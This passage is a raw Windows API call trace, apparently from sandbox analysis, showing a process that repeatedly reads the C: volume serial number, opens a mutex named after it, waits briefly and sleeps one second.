[0079.891] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0079.891] GetProcessHeap () returned 0x3b0000 [0079.891] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0079.892] GetProcessHeap () returned 0x3b0000 [0079.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0079.892] GetProcessHeap () returned 0x3b0000 [0079.892] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0079.892] GetProcessHeap () returned 0x3b0000 [0079.892] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0079.892] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0079.892] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0079.892] CloseHandle (hObject=0x170) returned 1 [0079.892] GetProcessHeap () returned 0x3b0000 [0079.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0079.892] GetProcessHeap () returned 0x3b0000 [0079.892] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0079.892] Sleep (dwMilliseconds=0x3e8) [0080.903] GetProcessHeap () returned 0x3b0000 [0080.903] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8658 [0080.904] GetProcessHeap () returned 0x3b0000 [0080.904] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e85e0 [0080.904] GetProcessHeap () returned 0x3b0000 [0080.904] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0080.904] GetProcessHeap () returned 0x3b0000 [0080.904] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0080.904] GetProcessHeap () returned 0x3b0000 [0080.904] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0080.904] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e85e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0080.904] GetProcessHeap () returned 0x3b0000 [0080.904] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0080.904] GetProcessHeap () returned 0x3b0000 [0080.904] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0080.904] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0080.905] GetProcessHeap () returned 0x3b0000 [0080.905] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0080.905] GetProcessHeap () returned 0x3b0000 [0080.905] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0080.905] GetProcessHeap () returned 0x3b0000 [0080.905] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0080.905] GetProcessHeap () returned 0x3b0000 [0080.905] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0080.905] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0080.905] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0080.905] CloseHandle (hObject=0x170) returned 1 [0080.905] GetProcessHeap () returned 0x3b0000 [0080.905] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0080.906] GetProcessHeap () returned 0x3b0000 [0080.906] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0080.906] Sleep (dwMilliseconds=0x3e8) [0082.804] GetProcessHeap () returned 0x3b0000 [0082.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e85e0 [0082.804] GetProcessHeap () returned 0x3b0000 [0082.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e8658 [0082.804] GetProcessHeap () returned 0x3b0000 [0082.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0082.804] GetProcessHeap () returned 0x3b0000 [0082.804] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0082.804] GetProcessHeap () returned 0x3b0000 [0082.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0082.804] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e8658, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0082.804] GetProcessHeap () returned 0x3b0000 [0082.804] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0082.805] GetProcessHeap () returned 0x3b0000 [0082.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0082.805] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0082.805] GetProcessHeap () returned 0x3b0000 [0082.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0082.805] GetProcessHeap () returned 0x3b0000 [0082.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0082.805] GetProcessHeap () returned 0x3b0000 [0082.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0082.805] GetProcessHeap () returned 0x3b0000 [0082.805] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0082.805] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0082.805] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0082.805] CloseHandle (hObject=0x170) returned 1 [0082.805] GetProcessHeap () returned 0x3b0000 [0082.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0082.805] GetProcessHeap () returned 0x3b0000 [0082.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0082.806] Sleep (dwMilliseconds=0x3e8) [0085.836] GetProcessHeap () returned 0x3b0000 [0085.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8658 [0085.836] GetProcessHeap () returned 0x3b0000 [0085.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e85e0 [0085.836] GetProcessHeap () returned 0x3b0000 [0085.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0085.836] GetProcessHeap () returned 0x3b0000 [0085.836] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0085.836] GetProcessHeap () returned 0x3b0000 [0085.836] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0085.836] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e85e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0085.836] GetProcessHeap () returned 0x3b0000 [0085.836] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0085.836] GetProcessHeap () returned 0x3b0000 [0085.836] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0085.837] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0085.837] GetProcessHeap () returned 0x3b0000 [0085.837] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0085.837] GetProcessHeap () returned 0x3b0000 [0085.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0085.837] GetProcessHeap () returned 0x3b0000 [0085.837] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0085.837] GetProcessHeap () returned 0x3b0000 [0085.837] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0085.837] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0085.838] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0085.838] CloseHandle (hObject=0x170) returned 1 [0085.838] GetProcessHeap () returned 0x3b0000 [0085.838] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0085.838] GetProcessHeap () returned 0x3b0000 [0085.838] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0085.838] Sleep (dwMilliseconds=0x3e8) [0087.805] GetProcessHeap () returned 0x3b0000 [0087.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e85e0 [0087.805] GetProcessHeap () returned 0x3b0000 [0087.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e8658 [0087.805] GetProcessHeap () returned 0x3b0000 [0087.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0087.805] GetProcessHeap () returned 0x3b0000 [0087.805] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0087.805] GetProcessHeap () returned 0x3b0000 [0087.805] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0087.806] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e8658, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0087.806] GetProcessHeap () returned 0x3b0000 [0087.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0087.806] GetProcessHeap () returned 0x3b0000 [0087.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0087.806] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0087.806] GetProcessHeap () returned 0x3b0000 [0087.806] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0087.806] GetProcessHeap () returned 0x3b0000 [0087.806] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0087.806] GetProcessHeap () returned 0x3b0000 [0087.807] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0087.807] GetProcessHeap () returned 0x3b0000 [0087.807] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0087.807] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0087.807] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0087.807] CloseHandle (hObject=0x170) returned 1 [0087.807] GetProcessHeap () returned 0x3b0000 [0087.807] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0087.807] GetProcessHeap () returned 0x3b0000 [0087.807] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0087.807] Sleep (dwMilliseconds=0x3e8) [0088.861] GetProcessHeap () returned 0x3b0000 [0088.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8658 [0088.861] GetProcessHeap () returned 0x3b0000 [0088.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e85e0 [0088.861] GetProcessHeap () returned 0x3b0000 [0088.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e84f0 [0088.861] GetProcessHeap () returned 0x3b0000 [0088.861] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec158 [0088.862] GetProcessHeap () returned 0x3b0000 [0088.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec158 | out: hHeap=0x3b0000) returned 1 [0088.862] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e85e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0088.862] GetProcessHeap () returned 0x3b0000 [0088.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e84f0 | out: hHeap=0x3b0000) returned 1 [0088.862] GetProcessHeap () returned 0x3b0000 [0088.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0088.862] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0088.862] GetProcessHeap () returned 0x3b0000 [0088.862] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0088.862] GetProcessHeap () returned 0x3b0000 [0088.862] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0088.862] GetProcessHeap () returned 0x3b0000 [0088.862] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0088.862] GetProcessHeap () returned 0x3b0000 [0088.862] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0088.862] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0088.862] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0088.863] CloseHandle (hObject=0x170) returned 1 [0088.863] GetProcessHeap () returned 0x3b0000 [0088.863] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0088.863] GetProcessHeap () returned 0x3b0000 [0088.863] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0088.863] Sleep (dwMilliseconds=0x3e8) [0092.060] GetProcessHeap () returned 0x3b0000 [0092.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8630 [0092.060] GetProcessHeap () returned 0x3b0000 [0092.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e85e0 [0092.060] GetProcessHeap () returned 0x3b0000 [0092.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e8658 [0092.060] GetProcessHeap () returned 0x3b0000 [0092.060] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec068 [0092.061] GetProcessHeap () returned 0x3b0000 [0092.061] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec068 | out: hHeap=0x3b0000) returned 1 [0092.061] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e85e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0092.061] GetProcessHeap () returned 0x3b0000 [0092.061] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0092.061] GetProcessHeap () returned 0x3b0000 [0092.061] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8630 | out: hHeap=0x3b0000) returned 1 [0092.061] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0092.061] GetProcessHeap () returned 0x3b0000 [0092.061] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0092.061] GetProcessHeap () returned 0x3b0000 [0092.061] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0092.061] GetProcessHeap () returned 0x3b0000 [0092.061] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0092.061] GetProcessHeap () returned 0x3b0000 [0092.061] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0092.062] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x168 [0092.062] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x0) returned 0x102 [0092.062] CloseHandle (hObject=0x168) returned 1 [0092.062] GetProcessHeap () returned 0x3b0000 [0092.062] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0092.062] GetProcessHeap () returned 0x3b0000 [0092.062] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0092.062] Sleep (dwMilliseconds=0x3e8) [0094.946] GetProcessHeap () returned 0x3b0000 [0094.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e85e0 [0094.946] GetProcessHeap () returned 0x3b0000 [0094.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e8630 [0094.946] GetProcessHeap () returned 0x3b0000 [0094.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e8658 [0094.946] GetProcessHeap () returned 0x3b0000 [0094.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec068 [0094.946] GetProcessHeap () returned 0x3b0000 [0094.946] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec068 | out: hHeap=0x3b0000) returned 1 [0094.946] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e8630, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0094.946] GetProcessHeap () returned 0x3b0000 [0094.946] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0094.946] GetProcessHeap () returned 0x3b0000 [0094.946] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0094.946] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0094.946] GetProcessHeap () returned 0x3b0000 [0094.946] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8630 | out: hHeap=0x3b0000) returned 1 [0094.947] GetProcessHeap () returned 0x3b0000 [0094.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0094.947] GetProcessHeap () returned 0x3b0000 [0094.947] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0094.947] GetProcessHeap () returned 0x3b0000 [0094.947] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0094.947] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x16c [0094.947] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x0) returned 0x102 [0094.947] CloseHandle (hObject=0x16c) returned 1 [0094.947] GetProcessHeap () returned 0x3b0000 [0094.947] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0094.947] GetProcessHeap () returned 0x3b0000 [0094.947] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0094.947] Sleep (dwMilliseconds=0x3e8) [0100.220] GetProcessHeap () returned 0x3b0000 [0100.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8630 [0100.220] GetProcessHeap () returned 0x3b0000 [0100.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e85e0 [0100.220] GetProcessHeap () returned 0x3b0000 [0100.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e8658 [0100.220] GetProcessHeap () returned 0x3b0000 [0100.220] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec068 [0100.220] GetProcessHeap () returned 0x3b0000 [0100.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec068 | out: hHeap=0x3b0000) returned 1 [0100.220] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e85e0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0100.220] GetProcessHeap () returned 0x3b0000 [0100.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8658 | out: hHeap=0x3b0000) returned 1 [0100.220] GetProcessHeap () returned 0x3b0000 [0100.220] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8630 | out: hHeap=0x3b0000) returned 1 [0100.220] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0100.221] GetProcessHeap () returned 0x3b0000 [0100.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0100.221] GetProcessHeap () returned 0x3b0000 [0100.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0x3c4318 [0100.221] GetProcessHeap () returned 0x3b0000 [0100.221] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x3a) returned 0x3c4360 [0100.221] GetProcessHeap () returned 0x3b0000 [0100.221] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3c4360, Size=0x72) returned 0x3bfd58 [0100.221] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x16c [0100.221] WaitForSingleObject (hHandle=0x16c, dwMilliseconds=0x0) returned 0x102 [0100.221] CloseHandle (hObject=0x16c) returned 1 [0100.221] GetProcessHeap () returned 0x3b0000 [0100.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c4318 | out: hHeap=0x3b0000) returned 1 [0100.221] GetProcessHeap () returned 0x3b0000 [0100.221] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bfd58 | out: hHeap=0x3b0000) returned 1 [0100.221] Sleep (dwMilliseconds=0x3e8) [0101.232] GetProcessHeap () returned 0x3b0000 [0101.232] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3e8630 [0101.232] GetProcessHeap () returned 0x3b0000 [0101.232] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3e84f0 [0101.232] GetProcessHeap () returned 0x3b0000 [0101.232] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3e85e0 [0101.233] GetProcessHeap () returned 0x3b0000 [0101.233] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ec150 [0101.233] GetProcessHeap () returned 0x3b0000 [0101.233] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ec150 | out: hHeap=0x3b0000) returned 1 [0101.233] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3e84f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0101.233] GetProcessHeap () returned 0x3b0000 [0101.233] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e85e0 | out: hHeap=0x3b0000) returned 1 [0101.233] GetProcessHeap () returned 0x3b0000 [0101.233] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3e8630 | out: hHeap=0x3b0000) returned 1 [0101.233] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x217fdbc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x217fdbc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0101.233] GetProcessHeap () returned 